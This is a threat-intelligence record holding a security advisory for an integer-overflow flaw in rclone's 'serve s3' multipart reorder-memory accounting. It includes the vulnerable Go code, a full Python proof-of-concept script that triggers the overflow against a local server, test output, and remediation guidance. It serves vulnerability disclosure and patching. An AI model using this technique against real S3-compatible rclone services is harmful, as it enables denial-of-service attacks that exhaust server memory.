{"schema":"threatline.record/2","record":{"id":"GHSA-qjw8-8hmp-c3m6","aliases":["GHSA-qjw8-8hmp-c3m6"],"summary":"rclone serve s3 multipart accounting overflow bypasses the reorder-memory limit","details":"## Executive Summary\r\n\r\nAn unauthenticated network client can defeat `rclone serve s3`'s per-upload reorder-memory limit by opening two multipart `PUT` requests for the current part, declaring `5,000,000,000,000,000,000` bytes on each, and withholding both bodies. Both requests are admitted by the current-part progress exception. Adding their declared lengths overflows the signed `int64` accounting field to a large negative number, after which out-of-order parts pass the capacity check and are retained in memory beyond the configured cap. The attacker must send the bytes that consume memory; this is not header-only amplification.\r\n\r\nThe affected streaming implementation first shipped in rclone v1.75.0. The overflow is verified in v1.75.0, v1.75.1, and the assessed source revision identifying itself as v1.76.0. No fixed release was known at the time of this report. Anonymous exploitation applies when `serve s3` is run without `--auth-key` or `--auth-proxy`, which is a documented configuration; an authenticated deployment requires an accepted S3 credential.\r\n\r\nValidation covered the release history and current source, the preserved end-to-end reproducer unchanged, and the packaged bounded reproducer against the real S3 HTTP listener. With a 1 MiB limit, the full run admitted six 8 MiB out-of-order parts and increased RSS by 50,452 KiB. The non-overflowing `4e18 + 4e18` control admitted no out-of-order part and increased RSS by 568 KiB. The packaged one-part reproduction admitted 8 MiB in the overflow case but blocked the identical part in the non-overflow control.\r\n\r\nThis is distinct from `GHSA-2p48-j3qc-rx9f` and issue `#9616`. That advisory addressed memory allocation proportional to an unverified declared length before body bytes arrived and was fixed in v1.75.1. This report uses the post-fix lazy allocator: the declared lengths corrupt `up.buffered`, then the attacker sends real bytes that the defeated reorder limit should have blocked.\r\n\r\n## Background\r\n\r\n`rclone serve s3` exposes an S3-compatible HTTP service over a configured backend. Multipart uploads stream into the backend in ascending part-number order. Parts that arrive early are held in a pool-backed reorder buffer until their turn.\r\n\r\nThe documented `--multipart-streaming-buffer-limit` option caps this out-of-order memory per upload and defaults to 256 MiB. When a part would exceed the cap, its request is supposed to wait until earlier data drains. A special progress rule admits the current part, and a separate rule admits one oversized out-of-order part when the buffer is empty.\r\n\r\nFor this report, Mallory is a client that can reach the S3 listener. In the documented anonymous configuration she needs no credential. The tested server used the local backend, streaming enabled, and a 1 MiB reorder limit. The same accounting path is used with authenticated clients; authentication changes reachability, not the arithmetic.\r\n\r\n## Vulnerability Details\r\n\r\nIn v1.75.1 and the assessed v1.76.0 source, `s3Backend.UploadPart` passes the untrusted declared length to `waitForTurn` before allocating and reading the body (`cmd/serve/s3/multipart.go`):\r\n\r\n```go\r\nif err := up.waitForTurn(partNumber, contentLength); err != nil {\r\n\treturn \"\", err\r\n}\r\n\r\nrw := multipart.NewRW()\r\nhasher := md5.New()\r\nn, err := io.Copy(rw, io.TeeReader(body, hasher))\r\n```\r\n\r\nThis lazy allocation is the important difference from `GHSA-2p48-j3qc-rx9f`: no full declared-length reservation is made in the memory pool. The flaw is now in the signed reorder-accounting field.\r\n\r\n`waitForTurn` correctly writes the ordinary capacity comparison as a subtraction, but it always admits a request whose `partNumber` is at or before the part currently needed. The subsequent addition is unchecked:\r\n\r\n```go\r\nif up.bufferLimit <= 0 || partNumber <= up.nextPart || up.buffered == 0 || size <= up.bufferLimit-up.buffered {\r\n\tup.buffered += size\r\n\treturn nil\r\n}\r\n```\r\n\r\nMallory creates one multipart upload and opens two concurrent requests for `partNumber=1`. Each declares `5e18` bytes and stops after the headers. While `up.nextPart` is still 1, both requests satisfy `partNumber <= up.nextPart` and reserve their declared sizes. Signed 64-bit addition wraps the nominal total of `10,000,000,000,000,000,000` to `-8,446,744,073,709,551,616`.\r\n\r\nFor a later 8 MiB `partNumber=3` request, `up.bufferLimit-up.buffered` is then a huge positive value. The capacity comparison succeeds even though 8 MiB exceeds the configured 1 MiB cap. `multipart.NewRW` grows as `io.Copy` reads the body, so every admitted out-of-order request retains the real bytes Mallory sends.\r\n\r\n## Exploitability Analysis\r\n\r\nThe demonstrated primitive is bypass of a configured memory bound on a long-lived network service. In the preserved full run, a 1 MiB limit admitted six 8 MiB out-of-order parts after poisoning and process RSS rose by approximately 49 MiB. Without poisoning, the ordinary control admitted one part through the documented empty-buffer progress exception and blocked the next. With two `4e18` reservations, whose sum remains within `int64`, the first out-of-order part blocked and RSS remained essentially flat. These controls isolate signed wraparound rather than ordinary oversized-part behavior.\r\n\r\nThe attack is deterministic once both current-part handlers have reserved their lengths. It requires only standard HTTP connections, a multipart upload ID, two held requests, and actual body traffic for the later parts. Repeating admitted parts or uploads can exhaust the rclone process or its host and interrupt all S3 operations served by that process. No confidentiality or integrity impact was demonstrated.\r\n\r\nThe default anonymous mode makes the path reachable without privileges when the listener is exposed to Mallory. If `--auth-key` or `--auth-proxy` is configured, she must first authenticate. Binding the service to a trusted interface reduces reachability but does not correct the arithmetic. Disabling streaming takes a different, intentionally memory-buffered path and is not a safe mitigation for memory exhaustion.\r\n\r\n## Proof of Concept\r\n\r\nThe sibling `poc/poc.py` script starts a loopback-only `serve s3` process over a temporary local backend. It runs one bounded 8 MiB attack case and an otherwise identical non-overflowing control, then removes its temporary data. It does not attempt to exhaust memory.\r\n\r\nRequirements are Python 3 and an affected `rclone` binary in `PATH`. Run from this report directory:\r\n\r\n```sh\r\ncd poc\r\n./poc.py\r\n```\r\n\r\nThe binary can also be selected with `--rclone`. A final run against the assessed source produced:\r\n\r\n```text\r\n[\r\n  {\r\n    \"case\": \"overflow\",\r\n    \"declared_length_per_current_part\": 5000000000000000000,\r\n    \"out_of_order_part_status\": 200,\r\n    \"rss_delta_kib\": 8956\r\n  },\r\n  {\r\n    \"case\": \"non_overflow_control\",\r\n    \"declared_length_per_current_part\": 4000000000000000000,\r\n    \"out_of_order_part_status\": \"TIMEOUT\",\r\n    \"rss_delta_kib\": 756\r\n  }\r\n]\r\nOVERFLOW CONFIRMED: 8 MiB admitted past the 1 MiB reorder limit\r\nCONTROL PASSED: non-overflowing reservations preserved backpressure\r\n```\r\n\r\nThe HTTP 200 response proves that the overflowed account admitted an 8 MiB part despite the 1 MiB limit. The timeout in the control shows that the same request remains under backpressure when the two reservations do not overflow.\r\n\r\nComplete `poc/poc.py`:\r\n\r\n```python\r\n#!/usr/bin/env python3\r\n\"\"\"Reproduce the serve-s3 multipart reorder-accounting overflow locally.\"\"\"\r\n\r\nimport argparse\r\nimport http.client\r\nimport json\r\nimport os\r\nimport shutil\r\nimport socket\r\nimport subprocess\r\nimport tempfile\r\nimport time\r\n\r\n\r\nBUFFER_LIMIT = \"1M\"\r\nPART_SIZE = 8 * 1024 * 1024\r\nOVERFLOW_LENGTH = 5_000_000_000_000_000_000\r\nNON_OVERFLOW_LENGTH = 4_000_000_000_000_000_000\r\n\r\n\r\ndef reserve_port():\r\n    sock = socket.socket()\r\n    sock.bind((\"127.0.0.1\", 0))\r\n    port = sock.getsockname()[1]\r\n    sock.close()\r\n    return port\r\n\r\n\r\ndef wait_for_port(port, timeout=20):\r\n    deadline = time.time() + timeout\r\n    while time.time() < deadline:\r\n        try:\r\n            with socket.create_connection((\"127.0.0.1\", port), 0.3):\r\n                return\r\n        except OSError:\r\n            time.sleep(0.2)\r\n    raise RuntimeError(\"serve s3 did not start\")\r\n\r\n\r\ndef rss_kib(pid):\r\n    try:\r\n        with open(f\"/proc/{pid}/status\", encoding=\"ascii\") as status:\r\n            for line in status:\r\n                if line.startswith(\"VmRSS:\"):\r\n                    return int(line.split()[1])\r\n    except OSError:\r\n        return None\r\n    return None\r\n\r\n\r\ndef start_server(rclone, port, data_dir, config_path):\r\n    env = dict(os.environ, RCLONE_CONFIG=config_path)\r\n    process = subprocess.Popen(\r\n        [\r\n            rclone,\r\n            \"serve\",\r\n            \"s3\",\r\n            data_dir,\r\n            \"--addr\",\r\n            f\"127.0.0.1:{port}\",\r\n            \"--multipart-streaming-buffer-limit\",\r\n            BUFFER_LIMIT,\r\n            \"--log-level\",\r\n            \"ERROR\",\r\n        ],\r\n        env=env,\r\n        stdout=subprocess.DEVNULL,\r\n        stderr=subprocess.PIPE,\r\n    )\r\n    try:\r\n        wait_for_port(port)\r\n    except Exception:\r\n        process.kill()\r\n        process.wait()\r\n        raise\r\n    time.sleep(0.5)\r\n    return process\r\n\r\n\r\ndef init_upload(port):\r\n    connection = http.client.HTTPConnection(\"127.0.0.1\", port, timeout=10)\r\n    connection.request(\"POST\", \"/bucket/key?uploads\")\r\n    response = connection.getresponse()\r\n    body = response.read().decode()\r\n    connection.close()\r\n    if response.status != 200:\r\n        raise RuntimeError(f\"multipart creation returned {response.status}: {body}\")\r\n    start = body.index(\"<UploadId>\") + len(\"<UploadId>\")\r\n    end = body.index(\"</UploadId>\")\r\n    return body[start:end]\r\n\r\n\r\ndef hold_current_part_reservations(port, upload_id, declared_length):\r\n    sockets = []\r\n    for _ in range(2):\r\n        sock = socket.create_connection((\"127.0.0.1\", port), timeout=10)\r\n        request = (\r\n            f\"PUT /bucket/key?partNumber=1&uploadId={upload_id} HTTP/1.1\\r\\n\"\r\n            f\"Host: 127.0.0.1:{port}\\r\\n\"\r\n            f\"Content-Length: {declared_length}\\r\\n\"\r\n            \"Connection: keep-alive\\r\\n\\r\\n\"\r\n        )\r\n        sock.sendall(request.encode(\"ascii\"))\r\n        sockets.append(sock)\r\n    time.sleep(1)\r\n    return sockets\r\n\r\n\r\ndef put_out_of_order_part(port, upload_id, timeout=4):\r\n    connection = http.client.HTTPConnection(\"127.0.0.1\", port, timeout=timeout)\r\n    body = b\"A\" * PART_SIZE\r\n    try:\r\n        connection.request(\r\n            \"PUT\",\r\n            f\"/bucket/key?partNumber=3&uploadId={upload_id}\",\r\n            body,\r\n            {\"Content-Length\": str(len(body))},\r\n        )\r\n        response = connection.getresponse()\r\n        status = response.status\r\n        response.read()\r\n        return status\r\n    except TimeoutError:\r\n        return \"TIMEOUT\"\r\n    finally:\r\n        connection.close()\r\n\r\n\r\ndef run_case(rclone, label, declared_length):\r\n    root = tempfile.mkdtemp(prefix=f\"rclone-s3-{label}-\")\r\n    data_dir = os.path.join(root, \"data\")\r\n    os.makedirs(os.path.join(data_dir, \"bucket\"))\r\n    config_path = os.path.join(root, \"empty.conf\")\r\n    port = reserve_port()\r\n    process = None\r\n    held_sockets = []\r\n    try:\r\n        process = start_server(rclone, port, data_dir, config_path)\r\n        before = rss_kib(process.pid)\r\n        upload_id = init_upload(port)\r\n        held_sockets = hold_current_part_reservations(\r\n            port, upload_id, declared_length\r\n        )\r\n        status = put_out_of_order_part(port, upload_id)\r\n        after = rss_kib(process.pid)\r\n        return {\r\n            \"case\": label,\r\n            \"declared_length_per_current_part\": declared_length,\r\n            \"out_of_order_part_status\": status,\r\n            \"rss_delta_kib\": None if before is None or after is None else after - before,\r\n        }\r\n    finally:\r\n        for sock in held_sockets:\r\n            try:\r\n                sock.close()\r\n            except OSError:\r\n                pass\r\n        if process is not None:\r\n            process.terminate()\r\n            try:\r\n                process.wait(timeout=5)\r\n            except subprocess.TimeoutExpired:\r\n                process.kill()\r\n                process.wait()\r\n        shutil.rmtree(root, ignore_errors=True)\r\n\r\n\r\ndef main():\r\n    parser = argparse.ArgumentParser()\r\n    parser.add_argument(\r\n        \"--rclone\",\r\n        default=os.environ.get(\"RCLONE\", \"rclone\"),\r\n        help=\"path to the rclone binary (default: rclone from PATH)\",\r\n    )\r\n    args = parser.parse_args()\r\n\r\n    results = [\r\n        run_case(args.rclone, \"overflow\", OVERFLOW_LENGTH),\r\n        run_case(args.rclone, \"non_overflow_control\", NON_OVERFLOW_LENGTH),\r\n    ]\r\n    print(json.dumps(results, indent=2))\r\n\r\n    overflow, control = results\r\n    if overflow[\"out_of_order_part_status\"] != 200:\r\n        raise SystemExit(\"overflow case did not admit the out-of-order part\")\r\n    if control[\"out_of_order_part_status\"] != \"TIMEOUT\":\r\n        raise SystemExit(\"non-overflow control unexpectedly admitted the part\")\r\n    print(\"OVERFLOW CONFIRMED: 8 MiB admitted past the 1 MiB reorder limit\")\r\n    print(\"CONTROL PASSED: non-overflowing reservations preserved backpressure\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n```\r\n\r\n## Remediation\r\n\r\nTreat a reservation as a checked state transition, including every progress exception. Holding `up.mu`, reject any `size` that would make `up.buffered` exceed `math.MaxInt64`, and do not allow multiple in-flight requests for the current part to reserve arbitrary declared lengths. A safe design should distinguish the one request actively feeding the stream from retry or replacement requests and should charge memory as pool pages are actually allocated.\r\n\r\nA minimal arithmetic guard before every addition is:\r\n\r\n```go\r\nif size > math.MaxInt64-up.buffered {\r\n\treturn gofakes3.ErrInvalidArgument\r\n}\r\n```\r\n\r\nThat guard prevents signed wraparound, but it is not sufficient by itself to make the documented memory cap exact: the current-part and empty-buffer progress exceptions intentionally allow a reservation beyond the cap. The robust fix should permit only the active next-part stream to bypass reorder backpressure, reject or serialize duplicate current-part requests, and maintain separate checked accounting for genuinely buffered out-of-order bytes.\r\n\r\nRegression tests should cover two simultaneous requests for the current part, values whose sum crosses `math.MaxInt64`, the exact non-overflow boundary, duplicate retries, cancellation and release, an ordinary in-order upload, and an out-of-order part that remains blocked until capacity is available. A test should also assert actual allocated bytes remain within the advertised bound under concurrent requests.\r\n","categories":["Unclassified"],"product":"github.com/rclone/rclone","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/rclone/rclone/security/advisories/GHSA-qjw8-8hmp-c3m6","source_modified_at":"2026-10-09T10:55:25Z","fetched_at":"2026-10-26T12:48:13.248886Z","package":{"ecosystem":"go","name":"github.com/rclone/rclone"},"range":">= 1.75.0"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/rclone/rclone/security/advisories/GHSA-qjw8-8hmp-c3m6","source_modified_at":"2026-10-09T10:55:25Z","fetched_at":"2026-10-26T12:48:13.248886Z","package":{"ecosystem":"go","name":"github.com/rclone/rclone"},"version":"1.75.2"}],"cvss":5.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-09T10:55:25Z","modified_at":"2026-10-09T10:55:25Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/rclone/rclone/security/advisories/GHSA-qjw8-8hmp-c3m6","fetched_at":"2026-10-26T12:48:13.248886Z","source_modified_at":"2026-10-09T10:55:25Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-09T10:55:25Z","content_hash":"836ffec346b5a893087c28a22f6afc8e378e3654ad2833a406b8d41172366067"}}
